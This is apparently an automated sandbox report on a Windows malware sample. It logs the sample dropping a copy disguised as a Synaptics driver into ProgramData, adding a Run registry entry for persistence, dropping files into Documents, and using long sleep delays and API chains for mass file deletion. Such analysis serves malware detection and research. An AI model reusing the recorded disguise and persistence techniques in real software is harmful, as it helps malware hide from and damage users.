Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: textshaping.dll	Jump to behavior

Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\ProgramData\Synaptics\Synaptics.exe

File written: C:\Users\user\AppData\Local\Temp\PsGDc5S.ini

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe

Code function: 1_2_00405260 LoadLibraryA,GetProcAddress,WideCharToMultiByte,CoTaskMemFree,FreeLibrary,lstrcpyA,

1_2_00405260

Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe

Code function: 1_2_00406EF5 push ecx; ret

1_2_00406F08

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\ProgramData\Synaptics\Synaptics.exe

File created: C:\Users\user\Documents\AIXACVYBSB\~$cache1

Jump to dropped file

Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	File created: C:\ProgramData\Synaptics\RCXA37B.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	File created: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe	Jump to dropped file
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	File created: C:\ProgramData\Synaptics\Synaptics.exe	Jump to dropped file
Source: C:\ProgramData\Synaptics\Synaptics.exe	File created: C:\Users\user\Documents\AIXACVYBSB\~$cache1	Jump to dropped file

Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	File created: C:\ProgramData\Synaptics\RCXA37B.tmp			Jump to dropped file
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	File created: C:\ProgramData\Synaptics\Synaptics.exe			Jump to dropped file

Source: C:\ProgramData\Synaptics\Synaptics.exe

File created: C:\Users\user\Documents\AIXACVYBSB\~$cache1

Jump to dropped file

Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Synaptics Pointing Device Driver			Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Synaptics Pointing Device Driver			Jump to behavior

Source: C:\ProgramData\Synaptics\Synaptics.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\splwow64.exe	Window / User API: threadDelayed 1857
Source: C:\Windows\splwow64.exe	Window / User API: threadDelayed 8116

Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 6700	Thread sleep count: 106 > 30	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 6700	Thread sleep time: -6360000s >= -30000s	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 9968	Thread sleep time: -60000s >= -30000s	Jump to behavior

Source: C:\ProgramData\Synaptics\Synaptics.exe	Last function: Thread delayed
Source: C:\ProgramData\Synaptics\Synaptics.exe	Last function: Thread delayed
Source: C:\Windows\splwow64.exe	Last function: Thread delayed
Source: C:\Windows\splwow64.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe	Code function: 1_2_004018F0 lstrcpyA,lstrcpyA,lstrlenA,FindFirstFileA,lstrcatA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindNextFileA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,	1_2_004018F0
Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe	Code function: 1_2_00404380 FindWindowA,PostMessageA,lstrlenA,lstrlenA,lstrcatA,lstrcatA,lstrcatA,FindFirstFileA,SetFileAttributesA,DeleteFileA,lstrlenA,lstrcatA,lstrcatA,lstrlenA,lstrlenA,lstrlenA,SetFileAttributesA,DeleteFileA,FindNextFileA,lstrlenA,lstrcatA,lstrcatA,lstrlenA,lstrlenA,lstrlenA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,lstrlenA,lstrcatA,lstrcatA,lstrcatA,FindFirstFileA,lstrlenA,lstrcatA,lstrcatA,lstrcatA,SetFileAttributesA,DeleteFileA,FindNextFileA,lstrlenA,lstrcatA,lstrcatA,lstrcatA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RegOpenKeyExA,lstrcpyA,RegQueryValueExA,lstrcatA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcpyA,lstrcatA,FindFirstFileA,lstrcpyA,lstrcatA,lstrcatA,SetFileAttributesA,DeleteFileA,FindNextFileA,lstrcpyA,lstrcatA,lstrcatA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RegCloseKey,SHDeleteKeyA,SHDeleteKeyA,SHDeleteKeyA,SHDeleteKeyA,SHDeleteKeyA,SHDeleteKeyA,SHDeleteKeyA,RegOpenKeyExA,RegQueryValueExA,lstrcatA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcpyA,lstrcatA,FindFirstFileA,lstrcpyA,lstrcatA,lstrcatA,SetFileAttributesA,DeleteFileA,FindNextFileA,lstrcpyA,lstrcatA,lstrcatA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RegCloseKey,RegOpenKeyExA,RegQueryValueExA,lstrcatA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcpyA,lstrcatA,FindFirstFileA,lstrcpyA,lstrcatA,lstrcatA,SetFileAttributesA,DeleteFileA,FindNextFileA,lstrcpyA,lstrcatA,lstrcatA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RegCloseKey,	1_2_00404380
Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe	Code function: 1_2_00401EC0 FindWindowA,PostMessageA,lstrcpyA,lstrlenA,lstrlenA,lstrcatA,lstrcatA,lstrcatA,FindFirstFileA,lstrlenA,lstrcatA,lstrcatA,lstrlenA,lstrlenA,lstrlenA,SetFileAttributesA,DeleteFileA,FindNextFileA,lstrlenA,lstrcatA,lstrcatA,lstrlenA,lstrlenA,lstrlenA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,lstrcpyA,lstrlenA,lstrcatA,lstrcatA,LoadLibraryA,LoadLibraryA,GetProcAddress,FreeLibrary,lstrcpyA,lstrlenA,lstrcatA,lstrcatA,LoadLibraryA,GetProcAddress,FreeLibrary,lstrcpyA,lstrlenA,lstrcatA,lstrcatA,SetFileAttributesA,DeleteFileA,GetLastError,MoveFileExA,lstrcpyA,lstrlenA,lstrcatA,lstrcatA,lstrlenA,lstrcatA,lstrcatA,lstrcpyA,lstrlenA,lstrcatA,lstrcatA,FindFirstFileA,lstrcpyA,lstrlenA,lstrcatA,lstrcatA,SetFileAttributesA,SetFileAttributesA,DeleteFileA,FindNextFileA,lstrcpyA,lstrlenA,lstrcatA,lstrcatA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,SetFileAttributesA,SetFileAttributesA,lstrcpyA,lstrcpyA,lstrlenA,lstrcatA,lstrcatA,lstrcpyA,lstrlenA,lstrcatA,lstrcatA,FindFirstFileA,lstrcpyA,lstrlenA,lstrcatA,lstrcatA,SetFileAttributesA,DeleteFileA,FindNextFileA,lstrcpyA,lstrlenA,lstrcatA,lstrcatA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,lstrcpyA,lstrlenA,lstrcatA,lstrcatA,lstrlenA,lstrcatA,lstrcatA,RemoveDirectoryA,RemoveDirectoryA,RemoveDirectoryA,lstrlenA,lstrcatA,lstrcatA,RemoveDirectoryA,lstrcatA,SetFileAttributesA,DeleteFileA,DeleteFileA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcatA,SetFileAttributesA,DeleteFileA,	1_2_00401EC0
Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe	Code function: 1_2_00402F17 lstrlenA,lstrcatA,lstrcatA,lstrlenA,lstrlenA,lstrlenA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,lstrcpyA,lstrlenA,lstrcatA,lstrcatA,LoadLibraryA,LoadLibraryA,GetProcAddress,FreeLibrary,lstrcpyA,lstrlenA,lstrcatA,lstrcatA,LoadLibraryA,GetProcAddress,FreeLibrary,lstrcpyA,lstrlenA,lstrcatA,lstrcatA,SetFileAttributesA,DeleteFileA,GetLastError,lstrcpyA,lstrlenA,lstrcatA,lstrcatA,lstrcpyA,lstrlenA,lstrcatA,lstrcatA,FindFirstFileA,lstrcpyA,lstrlenA,lstrcatA,lstrcatA,SetFileAttributesA,SetFileAttributesA,DeleteFileA,FindNextFileA,lstrcpyA,lstrlenA,lstrcatA,lstrcatA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,SetFileAttributesA,lstrcpyA,lstrlenA,lstrcatA,lstrcatA,RemoveDirectoryA,RemoveDirectoryA,RemoveDirectoryA,lstrlenA,lstrcatA,lstrcatA,RemoveDirectoryA,lstrcatA,SetFileAttributesA,DeleteFileA,DeleteFileA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcatA,SetFileAttributesA,DeleteFileA,	1_2_00402F17

Source: C:\ProgramData\Synaptics\Synaptics.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Thread delayed: delay time: 60000	Jump to behavior
